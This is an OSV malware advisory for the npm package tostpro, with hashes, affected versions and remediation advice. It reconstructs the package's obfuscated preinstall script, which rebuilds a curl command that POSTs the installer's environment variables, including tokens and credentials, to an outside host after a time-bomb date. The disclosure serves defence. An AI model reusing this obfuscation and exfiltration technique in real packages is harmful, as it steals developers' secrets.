MAL-2026-17564

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/tostpro/MAL-2026-17564.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17564
Aliases
  • GHSA-x5qq-j2hm-34m3
Published
2026-10-05T03:34:20Z
Modified
2026-10-20T22:30:05Z
Summary
Malicious code in tostpro (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183)

The npm package tostpro@100.2.0 ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on npm install. The script assembles the command curl and the data source env from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into dom=https://abbishal. plus tld=com, reconstructing them at runtime as $i$h$l -d "$b$s$a" $dom$tld/sh/poc. Execution is gated by if [ date +%s -gt 1791141300 ] (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of env — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states "No network access. No data collection," directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion.

Source: ghsa-malware (95a0ca1794b466d8ca8d84b64429987b6683b2b316794f522dc160bf35bce216)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-021010",
            "import_time":  "2026-10-05T03:57:38.469492404Z",
            "modified_time":  "2026-10-05T03:34:58Z",
            "sha256":  "1c6e05f2f9962c27ba782116a27f8da86a29c6fc7d06c38a6bf79658f25aaaf5",
            "source":  "amazon-inspector",
            "versions":  [
                "100.6.0"
            ]
        },
        {
            "id":  "IN-MAL-2026-021006",
            "import_time":  "2026-10-05T03:57:38.16135054Z",
            "modified_time":  "2026-10-05T03:34:20Z",
            "sha256":  "2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183",
            "source":  "amazon-inspector",
            "versions":  [
                "100.2.0"
            ]
        },
        {
            "id":  "IN-MAL-2026-021457",
            "import_time":  "2026-10-11T17:15:52.319338259Z",
            "modified_time":  "2026-10-11T16:55:58Z",
            "sha256":  "2ffc34e5a72ec818792020f55f95d3c2a344ac7554faef1ce0fd36b119fbfb2d",
            "source":  "amazon-inspector",
            "versions":  [
                "100.7.0"
            ]
        },
        {
            "id":  "GHSA-x5qq-j2hm-34m3",
            "import_time":  "2026-10-20T22:24:14.791700143Z",
            "modified_time":  "2026-10-20T21:44:34Z",
            "ranges":  [
                {
                    "events":  [
                        {
                            "introduced":  "0"
                        }
                    ],
                    "type":  "SEMVER"
                }
            ],
            "sha256":  "95a0ca1794b466d8ca8d84b64429987b6683b2b316794f522dc160bf35bce216",
            "source":  "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / tostpro

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

100.*
100.2.0
100.6.0
100.7.0

Database specific

cwes
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files":  [
        {
            "path":  "test.sh",
            "sha256":  "38cf91c2ae4bff8539681d75e477e3f8f6eb4250219cb526b5ec44211cab09fb",
            "tlsh":  "5b0123b345646374ddf908b31a5d53e6c2b5e05a857358fc62ef510513026e4223bd25"
        },
        {
            "path":  "package.json",
            "sha256":  "bb355185dddb75d04c935ca3aff985b55a1d95e83e3712d4dcc55b1deacb573a",
            "tlsh":  "fce09aa88a219d3300c8e5a20ea6d54ba560ae5b82207d5d366b400c4b5c6a782ff6fd"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "tostpro-100.6.0.tgz",
            "hashes":  {
                "sha1":  "3dcdab6d3874d5549ed897121b63cf7960a264ce",
                "sha512_sri":  "sha512-rqPzmJ3hKkAvUMYl43S+7VC4xWYdpoogKYKetCkDJAoHiKTLrilBMJqvZGQuGKDH3Wyv62KS8FENFP/oADmfbw=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/tostpro/MAL-2026-17564.json"